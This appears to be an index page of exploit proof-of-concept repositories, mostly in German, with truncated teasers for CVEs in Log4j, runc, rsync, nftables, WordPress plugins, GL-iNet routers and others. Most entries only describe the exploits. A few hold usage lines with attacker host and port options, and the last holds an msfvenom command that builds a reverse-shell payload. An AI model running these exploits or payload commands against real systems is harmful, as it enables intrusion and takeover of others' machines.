cve-2022-31898

cve-2022-31898 Exploit-POC-Code für CVE-2022-31898, eine Befehlsinjektion für GL-iNet-Router mit Firmware unter 3.215 Verwendung root@kitploit: ./cve-2022-31898.py -h usage: cve-2022-31898.py -h -R RHOST -P RPORT -L LHOST -l LPORT -p PWD -t options: -h, --help show this help message and exit -R...

Log4j2-CVE-2021-44228

CVE-2021-44228 Remote Code Injection In Log4j https://twitter.com/jas502n/status/1468946197629272066 SpringBoot-pom.xml default use : xml org.springframework.boot spring-boot-starter-web root@kitploit: mvn dependency:treejava INFO | | +-...

CVE-2026-8732-POC

CVE-2026-8732 - WordPress WP Google Map Pro Massen-Scanner & Auto-Admin-Ersteller 📌 Beschreibung Dieses Tool nutzt CVE-2026-8732 aus, eine Schwachstelle im WP Google Map Pro Plugin für WordPress. Die Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, über einen AJAX-Endpunkt...

CVE-2025-14847---MongoBleed

Mongobleed CVE-2025-14847 – Go-Proof-of-Concept Dieses Repository enthält einen Go-Proof-of-Concept-Exploit für CVE-2025-14847 , eine MongoDB-Speicheroffenlegungsschwachstelle, die allgemein als Mongobleed bezeichnet wird. Dieser PoC ist eine Go-Neuimplementierung des ursprünglichen Python-Exploi...

spring-cloud__spring-cloud-config_CVE-2020-5405_2-1-6-RELEASE

//// DIESE DATEI NICHT BEARBEITEN. SIE WURDE GENERIERT. Manuelle Änderungen an dieser Datei gehen verloren, wenn sie erneut generiert wird. Bearbeiten Sie stattdessen die Dateien im Verzeichnis src/main/asciidoc/. ////...

cve-2019-1003000-jenkins-rce-poc

PoC: Jenkins RCE SECURITY-1266 / CVE-2019-1003000 Script Security, CVE-2019-1003001 Pipeline: Groovy, CVE-2019-1003002 Pipeline: Declarative Ein Proof of Concept, um Benutzern mit Overall/Read-Berechtigung und Job/Configure und optional Job/Build zu ermöglichen, den Sandbox-Schutz zu umgehen und...

CVE-2024-21626-PoC

CVE-2024-21626 Root-Ursache & Proof-of-Code Wie verwendet man poc-autoplay? root@kitploit: make install make uninstall 1. Root-Ursache In runc v1.1.11 und niedriger entsteht diese Schwachstelle dadurch, dass beim Öffnen des Host-Verzeichnisses /sys/fs/cgroup zur Einrichtung der cgroup der...

CVE-2024-22274-RCE

CVE-2024-22274-Exploit Dieses Repository enthält einen Exploit für CVE-2024-22274. Der Exploit erstellt einen neuen Benutzer auf einem entfernten Rechner über SSH und stellt anschließend eine Root-Shell bereit. Voraussetzungen Go Golang muss auf deinem Rechner installiert sein. Du kannst es von...

external_expat_AOSP10_r33_CVE-2022-23990

Expat, Versão 2.2.6 Este é o Expat, uma biblioteca em C para análise de XML, iniciada por James Clark em 1997. O Expat é um analisador de XML orientado a fluxo. Isso significa que você registra manipuladores handlers no analisador antes de iniciar a análise. Esses manipuladores são chamados quand...

CVE-2024-12084

CVE-2024-12084 Im rsync-Daemon wurde ein heap-basierter Pufferüberlauf-Fehler gefunden. Dieses Problem wird durch eine unsachgemäße Behandlung von angreiferkontrollierten Prüfsummenlängen s2length im Code verursacht. Wenn MAXDIGESTLEN die feste SUMLENGTH 16 Bytes überschreitet, kann ein Angreifer...

CVE-2024-1086

CVE-2024-1086 Für Lernzwecke. Siehe: https://pwning.tech/nftables/ https://github.com/Notselwyn/CVE-2024-1086 Kconfig: root@kitploit: +CONFIGCONFIGFSFS=y +CONFIGSECURITYFS=y +CONFIGNFTABLES=y mnlcbrun: Operation not supported +CONFIGNETFILTERNETLINKGLUECT=y +CONFIGNETLINKDIAG=y +CONFIGNFTCT=y...

CVE-2023-4596

CVE-2023-4596 PoC-Skript für CVE-2023-4596, nicht authentifizierte Remote-Befehlsausführung durch beliebige Datei-Uploads. Video des verwendeten PoC Nuclei-Vorlage Nachrichtenartikel WordFence NVD Nist Zusammenfassung Im WordPress-Plugin Forminator wurde eine kritische Schwachstelle entdeckt, die...

CVE-2023-46818

CVE-2023-46818 - ISPConfig PHP-Codeausführung | Exploit Hohe Codeausführung aus der Ferne in ISPConfig PoC-Implementierung. Zusammenfassung ISPConfig-Versionen /admin/languageedit.php — verwundbarer Endpunkt von ISPConfig...

CVE-2022-24434_POC

CVE-2022-24434 – PoC para Dicer Este repositório contém uma Prova de Conceito PoC para CVE-2022-24434 , uma vulnerabilidade que afeta o pacote npm Dicer. Versão alvo da PoC: 0.3.1 garanta que o código do dicer usado seja exatamente a v0.3.1 📂 Estrutura do Projeto Garanta que o diretório esteja...

CVE-2026-54121-CertiGhost

CVE-2026-54121 Certighost - fork corrigido Um fork funcional da ferramenta de prova de conceito para CVE-2026-54121, também conhecida como Certighost. Pesquisa original e PoC por @H0j3n e @aniqfakhrul ; análise detalhada em: https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26. Este for...

CVE-2023-36003

CVE-2023-36003: PoC de Bypass do Windows Defender Exploit Protection Este repositório contém uma Prova de Conceito PoC para CVE-2023-36003 , uma vulnerabilidade crítica de bypass de recurso de segurança que afeta o Windows Defender Exploit Protection. Visão Geral CVE-2023-36003 é uma...

lgosp-poc

LG On Screen Phone Authentication-Bypass-PoC Was ist LG On Screen Phone? Die LG-On-Screen-Phone-Anwendung OSP macht es einfach, auf LG-Android-Smartphones zuzugreifen und sie über einen PC zu steuern. Die Verbindung kann entweder über ein USB-Kabel oder drahtlos über Wi-Fi oder Bluetooth...

CVE-2026-0911

CVE-2026-0911 — Hustle-Modulimport PoC Ein Forschungs-/Pentest-Hilfstool für das WordPress-Plugin Hustle wordpress-popup, WPMU DEV, das das Upload-Verhalten über den authentifizierten Modulimport -Endpunkt im Rahmen von CVE-2026-0911 testet. Das Skript CVE-2026-0911.py in diesem Repository bzw...

Ropper

Ropper You can use ropper to display information about binary files in different file formats and you can search for gadgets to build rop chains for different architectures x86/X8664, ARM/ARM64, MIPS/MIPS64, PowerPC/PowerPC64, SPARC64. For disassembly ropper uses the awesome Capstone Framework...

CVE-2020-0796

CVE-2020-0796 Explication de CVE-2020-0796 et recherche de la vulnérabilité pour le projet de semestre CENG325 pour débutants Comment exploiter ? Génération de payload utilisateur pour reverse shell : msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python po...